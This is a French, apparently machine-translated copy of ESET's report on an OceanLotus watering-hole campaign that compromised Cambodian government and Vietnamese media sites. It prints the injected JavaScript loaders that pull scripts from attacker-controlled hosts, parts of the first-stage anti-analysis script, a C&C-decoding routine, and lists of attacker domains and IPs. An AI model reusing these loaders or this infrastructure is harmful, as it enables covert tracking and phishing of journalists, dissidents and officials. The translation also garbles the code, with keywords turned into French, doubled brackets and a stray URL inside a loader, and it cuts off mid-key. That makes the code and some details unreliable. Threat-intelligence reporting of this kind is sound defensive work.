{"version":"1.1","schema_version":"1.1.0","plugin_version":"1.1.2","url":"https://tutos-gameserver.fr/2019/12/05/oceanlotus-nouvelle-attaque-de-points-deau-en-asie-du-sud-est-serveur-dimpression/","llm_html_url":"https://tutos-gameserver.fr/2019/12/05/oceanlotus-nouvelle-attaque-de-points-deau-en-asie-du-sud-est-serveur-dimpression/llm","llm_json_url":"https://tutos-gameserver.fr/2019/12/05/oceanlotus-nouvelle-attaque-de-points-deau-en-asie-du-sud-est-serveur-dimpression/llm.json","manifest_url":"https://tutos-gameserver.fr/llm-endpoints-manifest.json","language":"fr-FR","locale":"fr_FR","title":"OceanLotus: nouvelle attaque de points d&#39;eau en Asie du Sud-Est\n\n &#8211; Serveur d&rsquo;impression","site":{"name":"Tutos GameServer","url":"https://tutos-gameserver.fr/"},"author":{"id":1,"name":"Titanfall","url":"https://tutos-gameserver.fr/author/titanfall/"},"published_at":"2019-12-05T17:29:31+00:00","modified_at":"2019-12-05T17:29:31+00:00","word_count":3752,"reading_time_seconds":1126,"summary":"Les chercheurs d&#39;ESET ont identifié 21 sites Web distincts qui avaient été compromis, notamment des sites gouvernementaux et médiatiques particulièrement remarquables. Les chercheurs de ESET ont découvert une nouvelle campagne de points d’arrosage ciblant plusieurs sites Web en Asie du Sud-Est et qui aurait été active depuis septembre 2018. Cette campagne se distingue par son [&hellip;]","summary_points":["Les chercheurs d&#39;ESET ont identifié 21 sites Web distincts qui avaient été compromis, notamment des sites gouvernementaux et médiatiques particulièrement remarquables.","Les chercheurs de ESET ont découvert une nouvelle campagne de points d’arrosage ciblant plusieurs sites Web en Asie du Sud-Est et qui aurait été active depuis septembre 2018.","Cette campagne se distingue par son ampleur, car nous avons pu identifier 21 sites Web compromis, dont certains qui sont particulièrement remarquables.","Parmi les sites Web compromis figuraient le ministère de la Défense du Cambodge, le ministère des Affaires étrangères et de la Coopération internationale du Cambodge et plusieurs sites Web de journaux ou de blogs vietnamiens."],"topics":["Serveur d'impression"],"entities":[],"entities_metadata":[{"id":10,"name":"Serveur d'impression","slug":"serveur-dimpression","taxonomy":"category","count":3907,"url":"https://tutos-gameserver.fr/category/serveur-dimpression/"}],"tags":["Serveur d'impression"],"content_hash":"41bf76a075dbd3a1325523e74c79fd9e","plain_text":"Les chercheurs d&#39;ESET ont identifié 21 sites Web distincts qui avaient été compromis, notamment des sites gouvernementaux et médiatiques particulièrement remarquables.\n\nLes chercheurs de ESET ont découvert une nouvelle campagne de points d’arrosage ciblant plusieurs sites Web en Asie du Sud-Est et qui aurait été active depuis septembre 2018. Cette campagne se distingue par son ampleur, car nous avons pu identifier 21 sites Web compromis, dont certains qui sont particulièrement remarquables. Parmi les sites Web compromis figuraient le ministère de la Défense du Cambodge, le ministère des Affaires étrangères et de la Coopération internationale du Cambodge et plusieurs sites Web de journaux ou de blogs vietnamiens.\nAprès une analyse approfondie, nous sommes convaincus que cette campagne est menée par le groupe OceanLotus. [1], également appelé APT32 [2] et APT-C-00. OceanLotus est un groupe d&#39;espionnage actif depuis au moins 2012 [3], principalement intéressé par les gouvernements étrangers et les dissidents.\nCette campagne serait une évolution de ce que les chercheurs de Volexity ont appelé OceanLotus Framework B, un système de points d’eau qu’ils ont documenté en 2017. [4]. Cependant, les attaquants ont intensifié leur jeu pour compliquer et ralentir l&#39;analyse de leur infrastructure malveillante. Parmi les différentes améliorations, ils ont commencé à utiliser la cryptographie à clé publique pour échanger une clé de session AES, utilisée pour chiffrer d&#39;autres communications, empêchant ainsi les produits de sécurité d&#39;intercepter la charge finale. Ils sont également passés de HTTP à WebSocket pour masquer leurs communications malveillantes.\nLes chercheurs d&#39;ESET ont identifié 21 sites Web distincts qui avaient été compromis, chacun étant redirigé vers un domaine distinct contrôlé par les attaquants.\nLa figure 1 montre la région ciblée par cette campagne.\n\nFigure 1 &#8211; Emplacement des sites Web compromis\n\nLa plupart des domaines compromis sont liés aux médias ou au gouvernement cambodgien. Le tableau suivant détaille les différentes victimes. Nous les avons tous informés en octobre, mais la plupart d&#39;entre eux sont encore en train d&#39;injecter des scripts malveillants au moment de la rédaction, deux mois après le premier compromis. Ainsi, nous vous encourageons ne pas visiter ces sites.\n\n\n\nDomaine compromis\nLa description\n\n\n\n\nbaotgm[.]net\nMédia en vietnamien (basé à Arlington, Texas)\n\n\ncnrp7[.]org\nCambodge National Rescue Party\n\n\nconggiaovietnam[.]net\nEn rapport avec la religion &#8211; en vietnamien\n\n\ndaichungvienvinhthanh[.]com\nEn rapport avec la religion &#8211; en vietnamien\n\n\ndanchimviet[.]Info\nMédias en vietnamien\n\n\ndanviet[.]vn\nMédias en vietnamien\n\n\nDanviethouston[.]com\nMédias en vietnamien\n\n\nfvpoc[.]org\nAnciens prisonniers d&#39;opinion vietnamiens\n\n\nclub de jardinage[.]com\nClub de golf à Phnom Penh, Royaume du Cambodge\n\n\nlienketqnhn[.]org\nMédias en vietnamien\n\n\nmfaic.gov[.]kh\nMinistère des affaires étrangères et de la coopération internationale du Cambodge\n\n\nmod.gov[.]kh\nMinistère de la Défense du Cambodge\n\n\nmtgvinh[.]net\nEn rapport avec la religion &#8211; en vietnamien\n\n\nnguoitieudung.com[.]vn\nMédias en vietnamien\n\n\nphnompenhpost[.]com\nJournal cambodgien en anglais\n\n\nraovatcalitoday[.]com\nInconnu &#8211; En vietnamien\n\n\nthongtinchongphandong[.]com\nMédias de l&#39;opposition en vietnamien\n\n\ntinkhongle[.]com\nMédias en vietnamien\n\n\ntoithichdoc.blogspot[.]com\nBlog en vietnamien\n\n\ntrieudaiviet[.]com\nInconnu &#8211; En vietnamien\n\n\ntriviet[.]nouvelles\nMédias en vietnamien\n\n\n\nTableau 1 &#8211; Description des sites Web compromis\nEn règle générale, lors d’une attaque à l’eau vive, les adversaires compromettent des sites Web régulièrement visités par des cibles potentielles. Cependant, lors de cette attaque, OceanLotus a également été en mesure de compromettre certains sites Web qui attirent un grand nombre de visiteurs en général, et pas seulement leurs cibles présumées. Le tableau ci-dessous présente le rang Alexa au moment de la rédaction (plus le rang est bas, plus il est fréquenté) des sites Web compromis. Par exemple, ils ont compromis le site Web du journal Dan Viet (danviet[.]vn), qui est le 116th site le plus visité au Vietnam.\n\n\n\nDomaine\nRang Alexa (global)\nRang Alexa (dans le pays le plus populaire)\n\n\n\n\ndanviet[.]vn\n12 887\n116\n\n\nphnompenhpost[.]com\n85 910\n18 880\n\n\nnguoitieudung.com[.]vn\n261 801\n2 397\n\n\ndanchimviet[.]Info\n287,852\n144 884\n\n\nbaotgm[.]net\n675,669\n119 737\n\n\ntoithichdoc.blogspot[.]com\n700 470\n11 532\n\n\nmfaic.gov[.]kh\n978,165\n2 149\n\n\nconggiaovietnam[.]net\n1 040 548\n15 368\n\n\nthongtinchongphandong[.]com\n1 134 691\n21 575\n\n\ntinkhongle[.]com\n1 301 722\n15 224\n\n\ndaichungvienvinhthanh[.]com\n1 778 418\n23 428\n\n\ntriviet[.]nouvelles\n2 767 289\nIndisponible\n\n\nmod.gov[.]kh\n4 247 649\n3 719\n\n\nraovatcalitoday[.]com\n8.180.358\nIndisponible\n\n\ncnrp7[.]org\n8 411 693\nIndisponible\n\n\nmtgvinh[.]net\n8,415,468\nIndisponible\n\n\nDanviethouston[.]com\n8 777 564\nIndisponible\n\n\nlienketqnhn[.]org\n16 109 635\nIndisponible\n\n\nclub de jardinage[.]com\n16 109 635\nIndisponible\n\n\ntrieudaiviet[.]com\n16 969 048\nIndisponible\n\n\nfvpoc[.]org\nIndisponible\nIndisponible\n\n\n\nTableau 2 &#8211; Rang Alexa des sites Web compromis\nLe mode de fonctionnement est similaire sur tous les sites Web compromis. Les attaquants ajoutent un petit morceau de code JavaScript dans la page d&#39;index ou dans un fichier JavaScript hébergé sur le même serveur. Le morceau de code de la figure 2, légèrement obscurci, charge ensuite un autre script à partir d&#39;un serveur contrôlé par les attaquants. Le code suivant, ajouté dans https://www.mfaic.gov[.]kh / wp-content / themes / ministère des affaires étrangères / slick / slick.min.js, chargera le fichier de https: //weblink.selfip[.]info / images / cdn.js? from = maxcdn.\n\n\n\n(une fonction()\n    var pt = &quot;http&quot;;\n    var l = document.createElement (&#39;script&#39;);\n    l.src = pt + &quot;s: //&quot; + arguments[0] + arguments[2] + arguments[3] + &#39;ip.&#39; + &#39;info / images / cdn.js? from = maxcdn&#39;;\n    document.getElementsByTagName (&#39;body&#39;)[0].appendChild (l)\n) (&#39;web&#39;, &#39;a&#39;, &#39;link&#39;, &#39;.self&#39;);\n\n\n\n\n\n\n\n(une fonction() \n    var pt = &quot;http&quot;;\n    var l = document.createElement(&#39;scénario&#39;);\n    l.src = pt + &quot;s: //&quot; + arguments[[[[0] + arguments[[[[2] + arguments[[[[3] + &#39;ip.&#39; + &#39;info / images / cdn.js? from = maxcdn&#39;;\n    document.getElementsByTagName(&#39;corps&#39;)[[[[0].appendChild(l)\n)(&#39;web&#39;, &#39;une&#39;, &#39;lien&#39;, &#39;.soi&#39;);\n\n\n\n\n\n\nFigure 2 &#8211; Morceau de code JavaScript ajouté à mfaic.gov[.]kh\nPour échapper à la détection, ils prennent les mesures suivantes:\n\nIls masquent les scripts pour empêcher l&#39;extraction statique de l&#39;URL finale.\nL&#39;URL ressemble à une véritable bibliothèque JavaScript utilisée par le site Web.\nIls utilisent un domaine et un URI différents par site Web compromis.\nLe script est différent pour chaque site Web compromis. Le code suivant est le script inséré dans un autre site Web compromis:\n\n\n\n\nvar script = document.createElement (&quot;script&quot;);\nvar i = &#39;crash-course&#39;;\nvar s = &quot;fzgbc saitztall znfo&quot;;\nvar _ = &#39;/&#39;;\nvar e = &quot;VisitorIdentification.js? sa =&quot; + i;\nscript.async = true;\nscript.src = &quot;http://www.welivesecurity.com/htt&quot; + &quot;ps:&quot; + _ + _ + s.split (&quot;&quot;) .map (x =&gt; x.replace (&quot;z&quot;, &quot;i &quot;)). join (&quot;. &quot;) + _ + e;\nvar doc = document.getElementsByTagName (&#39;script&#39;)[0];\ndoc.parentNode.insertBefore (script, doc);\n\n\n\n\n\n\n\nvar scénario = document.createElement(&quot;scénario&quot;);\nvar je = «cours intensif»;\nvar s = &quot;fzgbc saitztall znfo&quot;;\nvar _ = &#39;/&#39;;\nvar e = &quot;VisitorIdentification.js? Sa =&quot; + je;\nscénario.async = vrai;\nscénario.src = &quot;http://www.welivesecurity.com/htt&quot; + &quot;ps:&quot; + _ + _ + s.Divisé(&quot;&quot;).carte(X =&gt; X.remplacer(&quot;z&quot;, &quot;je&quot;)).joindre(&quot;.&quot;) + _ + e;\nvar doc = document.getElementsByTagName(&#39;scénario&#39;)[[[[0];\ndoc.parentNode.insérerAvant(scénario, doc);\n\n\n\n\n\n\nFigure 3 &#8211; Un autre morceau de JavaScript inséré dans un site Web ciblé\nPremière étape\nEn fonction de l&#39;emplacement de l&#39;adresse IP du visiteur, le serveur de la première étape, par ex. weblink.selfip[.]info pour mfaic.gov[.]kh, fournit un script leurre (une bibliothèque JavaScript légitime et aléatoire) ou le script de première étape (SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A, par exemple). Tous les serveurs ne disposent pas d&#39;un contrôle d&#39;emplacement, mais lorsqu&#39;il est activé, seuls les visiteurs du Vietnam et du Cambodge reçoivent le script malveillant.\nLe script de la première étape contient plusieurs contrôles pour échapper à la détection, comme illustré à la figure 4.\n\n\n\n[…]\nfonction t (n)\n    var r = this;\n    ! function (t, n)\n        si (! (t instanceof n))\n            throw new TypeError (&#39;Impossible d&#39;appeler une classe en tant que fonction&#39;);\n     (this, t), this.t =\n        o: null,\n        s:! 0\n    , this.scr =! 0, this.r (), this.i =! 0, window.addEventListener (&#39;scroll&#39;, fonction () );\nretourne t.prototype.r = function ()\n    var t = this;\n    setInterval (function ()  r)? (t.t. =! 1, t.t.o = null): (t.t.s =! 0, t.o.e = e);\n    , 500);\n […]\n\n\n\n\n\n1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n\n\n\n\n[[[[…]\nune fonction t(n) \n    var r = cette;\n    !une fonction (t, n) \n        si (!(t exemple de n))\n            jeter Nouveau Erreur-type(&#39;Impossible d&#39;appeler une classe en tant que fonction&#39;);\n    (cette, t), cette.t = \n        o: nul,\n        s: !0\n    , cette.scr = !0, cette.r(), cette.je = !0, fenêtre.addEventListener(&#39;faire défiler&#39;, une fonction ()  r.scr &amp;&amp; !r.t.s &amp;&amp; (r.scr = !1, r.c(n)), r.je = !1;\n    );\n\nrevenir t.prototype.r = une fonction () \n    var t = cette;\n    setInterval(une fonction () \n        var n = fenêtre.largeur extérieure &#8211; fenêtre.largeur intérieure &gt; 160, r = fenêtre.outerHeight &#8211; fenêtre.taille intérieure &gt; 160, e = n ? &#39;verticale&#39; : &#39;horizontal&#39;;\n        r &amp;&amp; n , 500);\n\n [[[[…]\n\n\n\n\n\n\nFigure 4 &#8211; Charge utile JavaScript de la première étape\nLe script attendra que la victime défile sur la page. Il vérifie également la résolution de la fenêtre et détermine si Firebug, une extension de navigateur utilisée pour analyser des pages Web, est activé. Si l&#39;une des vérifications échoue, l&#39;exécution est interrompue.\nEnsuite, il déchiffre le domaine Command &amp; Control à l&#39;aide d&#39;un algorithme personnalisé. Par exemple, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 sera déchiffré à wss: //tcog.thruhere[.]net. Pour chaque domaine de premier étage, les attaquants enregistrent également un domaine de deuxième étage différent, chacun hébergé sur un serveur différent. Le code de la figure 5 est un équivalent, en Python, de la fonction de déchiffrement.\n\n\n\ndef decrypt (encrypted_url):\ns = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;\nreturn &quot;&quot; .join (chr (s.index (encrypted_url[e]) * 36 + s.index (encrypted_url[e+1])) pour e dans la plage (0, len (encrypted_url), 2))\n\n\n\n\n\n\n\ndef décrypter(encrypted_url):\n\ts = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;\n\trevenir &quot;&quot;.joindre(chr(s.indice(encrypted_url[[[[e]) * 36 + s.indice(encrypted_url[[[[e+1])) pour e dans intervalle(0,len(encrypted_url),2))\n\n\n\n\n\n\nFigure 5 &#8211; Code Python pour décrypter les serveurs C &amp; C\nUne fois l&#39;adresse C &amp; C déchiffrée, le script envoie une chaîne unique de 15 chiffres, puis reçoit et exécute un script de deuxième étape. Toutes les communications sont effectuées via WebSocket sur SSL. Ce protocole permet une communication en duplex intégral entre un client et un serveur. Cela signifie que, une fois que le client établit une connexion, un serveur peut envoyer des données au client même si le client n&#39;a pas envoyé de demande. Cependant, dans ce cas particulier, l’utilisation des sockets Web semble avoir pour principal objectif d’éviter la détection.\nDeuxième étape\nLe script de deuxième étape est en fait un script de reconnaissance. Les développeurs OceanLotus ont réutilisé la bibliothèque fingerprintjs2 de Valve, disponible sur GitHub, en la modifiant légèrement afin d’ajouter une communication réseau et un rapport personnalisé.\nLa figure 6 décrit les différentes actions exécutées par le script. Toutes les communications passent par la session WebSocket ouverte par la première étape.\n\nFigure 6 &#8211; Flux de la charge utile de la deuxième étape\n\nLa communication est cryptée à l&#39;aide d&#39;une clé de session AES, générée par le serveur. Il est crypté avec une clé publique RSA 1024 bits et envoyé au client. Ainsi, il n&#39;est pas possible de décrypter les communications entre le client et le serveur.\nEn comparaison avec les précédentes itérations de leur structure de points d’arrosage, cela rendra les choses beaucoup plus difficiles pour les défenseurs, car les données envoyées sur le réseau ne peuvent pas être détectées puis déchiffrées. Cela empêchera la détection réseau des données. La clé publique envoyée par le serveur est toujours la même et est disponible dans la section IoC.\nCe script de reconnaissance crée un rapport, semblable à celui présenté ci-dessous, et l&#39;envoie au serveur C &amp; C de deuxième étape.\n\n\n\n{\n  &quot;histoire&quot;:\n    &quot;client_title&quot;: &quot;Ministry% 20of% 20Forign% 20Affairs% 20and% 20International% 20Cooperation% 20-&quot;,\n    &quot;client_url&quot;: &quot;https://www.mfaic.gov.kh/&quot;,\n    &quot;client_cookie&quot;: &quot;&quot;,\n    &quot;client_hash&quot;: &quot;&quot;,\n    &quot;client_referrer&quot;: &quot;https://www.mfaic.gov.kh/foreign-ngos&quot;,\n    &quot;client_platform_ua&quot;: &quot;Mozilla / 5.0 (Windows NT 6.1; Win64; x64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 68.0.3440.106 Safari / 537.36&quot;,\n    &quot;client_time&quot;: &quot;2018-10-21T12: 43: 25.254Z&quot;,\n    &quot;fuseau horaire&quot;: &quot;Asie / Bangkok&quot;,\n    &quot;client_network_ip_list&quot;: [\n      « 192.168.x.x »,\n      « x.x.x.x »\n    ],\n    &quot;client_api&quot;: &quot;wss: //tcog.thruhere.net/&quot;,\n    &quot;client_zuuid&quot;: &quot;defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80b80bc6d45\n    &quot;client_uuid&quot;: &quot;a612cdb028e1571dcab18e4aa316da26&quot;\n  ,\n  &quot;navigateur&quot;: {\n    &quot;plugins&quot;:\n      &quot;activex&quot;: false,\n      &quot;cors&quot;: vrai,\n      &quot;flash&quot;: faux,\n      &quot;java&quot;: faux,\n      &quot;foxit&quot;: vrai,\n      &quot;phonegap&quot;: faux,\n      &quot;quicktime&quot;: faux,\n      &quot;realplayer&quot;: faux,\n      &quot;silverlight&quot;: faux,\n      &quot;touch&quot;: faux,\n      &quot;vbscript&quot;: false,\n      &quot;vlc&quot;: false,\n      &quot;webrtc&quot;: true,\n      &quot;wmp&quot;: false\n    ,\n    &quot;_écran&quot;:\n      &quot;largeur&quot;: 1920,\n      &quot;hauteur&quot;: 1080,\n      &quot;availWidth&quot;: 1920,\n      &quot;availHeight&quot;: 1080,\n      &quot;résolution&quot;: &quot;1920&#215;1080&quot;\n    ,\n &quot;_plugins&quot;: [\n[&#8230;]\n\n\n\n\n\n1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n\n\n\n\n{\n  &quot;histoire&quot;: \n    &quot;client_title&quot;: &quot;Ministère% 20de% 20Freign% 20Affaires% 20et% 20International% 20Coopération% 20-&quot;,\n    &quot;client_url&quot;: &quot;https://www.mfaic.gov.kh/&quot;,\n    &quot;client_cookie&quot;: &quot;&quot;,\n    &quot;client_hash&quot;: &quot;&quot;,\n    &quot;client_referrer&quot;: &quot;https://www.mfaic.gov.kh/foreign-ngos&quot;,\n    &quot;client_platform_ua&quot;: &quot;Mozilla / 5.0 (Windows NT 6.1; Win64; x64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 68.0.3440.106 Safari / 537.36&quot;,\n    &quot;client_time&quot;: &quot;2018-10-21T12: 43: 25.254Z&quot;,\n    &quot;fuseau horaire&quot;: &quot;Asie / Bangkok&quot;,\n    &quot;client_network_ip_list&quot;: [[[[\n      &quot;192.168.x.x&quot;,\n      &quot;x.x.x.x&quot;\n    ],\n    &quot;client_api&quot;: &quot;wss: //tcog.thruhere.net/&quot;,\n    &quot;client_zuuid&quot;: &quot;defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedfaunefautfecommunication9360af458bb80c43fd1f73190b80dbfb0b27bcbbbbbbbbbbbbbbbbbbbbbbbcc0f0bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbcc,\n    &quot;client_uuid&quot;: &quot;a612cdb028e1571dcab18e4aa316da26&quot;\n  ,\n  &quot;navigateur&quot;: {\n    &quot;plugins&quot;: \n      &quot;activex&quot;: faux,\n      &quot;cors&quot;: vrai,\n      &quot;flash&quot;: faux,\n      &quot;Java&quot;: faux,\n      &quot;foxit&quot;: vrai,\n      &quot;phonegap&quot;: faux,\n      &quot;Quick Time&quot;: faux,\n      &quot;vrai joueur&quot;: faux,\n      &quot;silverlight&quot;: faux,\n      &quot;toucher&quot;: faux,\n      &quot;vbscript&quot;: faux,\n      &quot;vlc&quot;: faux,\n      &quot;webrtc&quot;: vrai,\n      &quot;wmp&quot;: faux\n    ,\n    &quot;_écran&quot;: \n      &quot;largeur&quot;: 1920,\n      &quot;la taille&quot;: 1080,\n      &quot;availWidth&quot;: 1920,\n      &quot;availHeight&quot;: 1080,\n      &quot;résolution&quot;: &quot;1920&#215;1080&quot;\n    ,\n &quot;_plugins&quot;: [[[[\n[[[[...]\n\n\n\n\n\n\nFigure 7 &#8211; Rapport d&#39;empreinte digitale\nCe rapport est presque identique au rapport généré par OceanLotus Framework B, documenté par les chercheurs de Volexity en 2017. Les différentes sections sont similaires et incluent des fautes de frappe identiques. Grâce à ces similitudes et à la localisation des cibles, nous sommes confiants que OceanLotus dirigera cette campagne.\nLe rapport généré contient des informations détaillées sur le navigateur de la victime et le site Web visité: l’agent utilisateur, le référent HTTP, les adresses IP locale et externe, le navigateur ajoute les préférences de langue configurées du navigateur.\nDe plus, il y a deux identifiants uniques par machine, appelés client_zuuid et client_uuid. Ils sont probablement utilisés pour identifier les utilisateurs et les suivre d&#39;une visite à l&#39;autre. En réalité, ces identifiants étaient déjà présents dans la version 2017 du framework et client_uuid a été calculé de manière similaire.\nle client_zuuid est la concaténation des différentes valeurs deviceId contenues dans navigator.mediaDevices.enumerateDevices. Les périphériques sont les périphériques externes accessibles au navigateur, tels que les caméras ou les microphones. Ainsi, cette valeur doit être la même pour un utilisateur donné lors de ses différentes visites à partir du même ordinateur.\nle client_uuid est un hachage MD5 de certaines informations d’empreintes digitales extraites par fingerprintjs2. Parmi les informations collectées figurent l&#39;agent utilisateur du navigateur, la langue, le fuseau horaire, les plug-ins du navigateur et les polices disponibles dans le navigateur. Là encore, cette valeur doit être identique pour toutes les visites, sauf si, par exemple, l&#39;utilisateur met à jour le navigateur ou utilise un périphérique différent.\nEnfin, le serveur peut envoyer du code JavaScript supplémentaire à l&#39;ordinateur victime, probablement la charge réelle. Malheureusement, en raison de l&#39;utilisation d&#39;une clé de session AES pour chiffrer les communications, nous n&#39;avons pas été en mesure d&#39;identifier des exemples dans la nature de charges utiles envoyées par les attaquants. De plus, les charges utiles ne sont livrées qu&#39;à des cibles spécifiques. Ainsi, il n&#39;était pas possible de les obtenir en utilisant une machine de test. Toutefois, selon des rapports antérieurs, ces campagnes de points d’arrosage d’OceanLotus ont pour objectif de phish ses victimes. Par exemple, Volexity a signalé qu’une fenêtre contextuelle demandant aux utilisateurs d’approuver l’accès OAuth au compte Google de la victime pour une application Google OceanLotus était affichée. En utilisant cette technique, les attaquants peuvent accéder aux contacts et aux courriels de la victime.\nAfin d&#39;être le plus furtif possible, les opérateurs OceanLotus ont enregistré un domaine de premier et un deuxième domaines par site Web compromis. Chaque domaine est hébergé sur un serveur distinct avec une adresse IP distincte. Ils ont enregistré au moins 50 domaines et 50 serveurs pour cette campagne.\nBien que la plupart des domaines de la première étape aient été enregistrés sur des services de noms de domaine gratuits, la plupart des domaines de la deuxième étape sont des noms de domaine payants. Ils imitent également les sites Web authentiques afin de paraître légitimes. Le tableau 3 montre certains services imités par les attaquants.\n\n\n\nDomaine C &amp; C\nDomaine légitime\n\n\n\n\ncdn-ampproject[.]com\ncdn.ampproject.com\n\n\nbootstraplink [.]com\ngetbootstrap.com\n\n\nsskimresources[.]com\ns.skimresources.com\n\n\nwidgets-wp[.]com\nwidgets.wp.com\n\n\n\nTableau 3 &#8211; Sites Web légitimes imités par les attaquants\nLe nombre de domaines utilisés et leur similarité avec les sites Web légitimes les rendent probablement plus difficiles à détecter par un œil humain regardant le trafic réseau.\nMalgré le suivi actif de nombreux chercheurs, le groupe OceanLotus est toujours très occupé à attaquer des cibles en Asie du Sud-Est. Ils améliorent également régulièrement leur ensemble d’outils, y compris leur infrastructure de points d’arrosage et leurs programmes malveillants Windows et MacOS. Les mises à jour récentes apportées à la structure de points d’arrosage, décrites dans ce blog, témoignent d’un niveau de sophistication sans précédent pour OceanLotus. Ceci est un autre rappel que ce groupe APT doit être suivi de près.\nAfin de limiter le nombre de victimes, nous avons averti chaque propriétaire de site Web compromis et expliqué comment supprimer le code JavaScript malveillant, bien que certains semblent très réticents à être informés ou aidés.\nLes chercheurs de ESET continueront à suivre tout développement de l&#39;ensemble d&#39;outils OceanLotus. Des indicateurs de compromis peuvent également être trouvés sur GitHub. Pour toute demande de renseignements ou pour soumettre des échantillons de sujets liés au sujet, contactez-nous à l&#39;adresse suivante :umpintel@eset.com.\n[1]                    ESET Research, «OceanLotus: techniques anciennes, nouvelle porte dérobée», 03 2018. [Online]. Disponible à l&#39;adresse suivante: https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf.\n[2]                    N. Carr, «Le cyberespionnage se porte bien: APT32 et la menace pour les entreprises mondiales», FireEye, 14.05.2017. [Online]. Disponible à l’adresse: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html.\n[3]                    Sky Eye Lab, «Résumé du rapport OceanLotus APT», 29 05 2015. [Online]. Disponible à l&#39;adresse suivante: http://blogs.360.cn/post/oceanlotus-apt.html.\n[4]                    S. K. S. Dave Lassalle, «OceanLotus Blossoms: surveillance numérique massive et attaques ciblant l&#39;ANASE, les nations asiatiques, les médias, les groupes de défense des droits humains et la société civile», Volexity, 06-11 2017. [Online]. Disponible: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and- société civile/.\nIndicateurs de compromis (IoC)\nDes dossiers\n\n\n\nLa description\nSHA-1\nSHA-256\nNom de la détection\n\n\n\n\nScript de première étape\n2194271C7991D60AE82436129D7F25C0A689050A\n1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7\nJS / Agent.NYQ\n\n\nScénario de deuxième étape\n996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8\n8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62\nJS / Agent.NYR\n\n\n\nRéseau IoC\n\n\n\nSite compromis\n1ère étape\nadresse IP\n2ème étape\nadresse IP\n\n\n\n\nbaotgm[.]net\narabica.podzone[.]net\n178.128.103.24\n10cm.mypets[.]ws\n178.128.100.189\n\n\ncnrp7[.]org\nutagscript[.]com\n206.189.88.50\noptnmstri[.]com\n159.65.134.146\n\n\nconggiaovietnam[.]net\nlcontacts.servebbs[.]net\n178.128.219.207\nimgincapsula[.]com\n209.97.164.158\n\n\ndaichungvienvinhthanh[.]com\nsskimresources[.]com\n178.128.90.102\nsecure-imrworldwide[.]com\n178.128.90.109\n\n\ndanchimviet[.]Info\nwfpscripts.homeunix[.]com\n178.128.223.102\ncdn-ampproject[.]com\n178.128.24.201\n\n\ndanviet[.]vn\ncdnscr.thruhere[.]net\n178.128.98.139\nio.blogsite[.]org\n178.128.98.89\n\n\nDanviethouston[.]com\nvotre-ip.getmyip[.]com\n178.128.103.74\n[Unknown]\n[Unknown]\n\n\nfvpoc[.]org\ngui.dnsdojo[.]net\n178.128.28.93\ncnnazure[.]com\n209.97.164.96\n\n\nclub de jardinage[.]com\nfigbc.knowsitall[.]Info\n178.128.103.207\nichefbcci.is-a-chef[.]com\n206.189.85.162\n\n\nlienketqnhn[.]org\nconseils-renouveler.webhop[.]Info\n159.65.7.45\ncyhire.cechire[.]com\n178.128.103.79\n\n\nmfaic.gov[.]kh\nweblink.selfip[.]Info\n178.128.103.202\ntcog.thruhere[.]net\n178.128.107.83\n\n\nmfaic.gov[.]kh\ns0-2mdn[.]net\n104.248.144.178\np-typekit[.]com\n104.248.144.136\n\n\nmod.gov[.]kh\nstatic.tagscdn[.]com\n206.189.95.214\npagefairjs[.]com\n159.65.137.109\n\n\nmtgvinh[.]net\nmetacachecdn[.]com\n178.128.209.153\nbootstraplink[.]com\n159.65.129.241\n\n\nnguoitieudung.com[.]vn\ns-adroll[.]com\n128.199.159.127\njoueur-cnevids[.]com\n128.199.159.60\n\n\nphnompenhpost[.]com\ntiwimg[.]com\n206.189.89.121\ntiqqcdn[.]com\n206.189.47.116\n\n\nraovatcalitoday[.]com\nwidgets-wp[.]com\n178.128.90.107\ncdn-tynt[.]com\n142.93.75.192\n\n\nthongtinchongphandong[.]com\nlb-web-stat[.]com\n159.65.128.57\nbenchtag2[.]com\n178.128.90.108\n\n\ntinkhongle[.]com \ncdn1.shacknet[.]nous\n142.93.127.120\nscdn-cxense[.]com\n142.93.75.161\n\n\ntoithichdoc.blogspot[.]com\nassets-cdn.blogdns[.]net\n178.128.28.89\ncart.gotdns[.]com\n206.189.145.242\n\n\ntrieudaiviet[.]com\nhtml5.endofinternet[.]net\n178.128.90.182\neffeto-azur[.]net\n142.93.71.92\n\n\ntriviet[.]nouvelles\nds-aksb-a.likescandy[.]com\n159.65.137.144\nlabs-apnic[.]net\n178.128.90.138\n\n\n[Unknown]\npixel1.dnsalias[.]net\n142.93.116.157\nad-appier[.]com\n178.128.90.66\n\n\n[Unknown]\ntrc.webhop[.]net\n178.128.90.223\nstatique-addtoany[.]com\n142.93.75.172\n\n\n[Unknown]\nnav.neat-url[.]com\n178.128.103.205\nstraits-times.is-an-actor[.]com\n178.128.107.24\n\n\n\nClé publique RSA envoyée par le serveur\n—–BEGIN PUBLIC KEY—–\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI8O2kXpKec4MBVeF2g86GtT2X\n/ ABJB2M + urEvxJStRuL / + u / a9oJ6XL4JTFceYqJiSsXvwD / wDfgI00zCdmJ7xgw 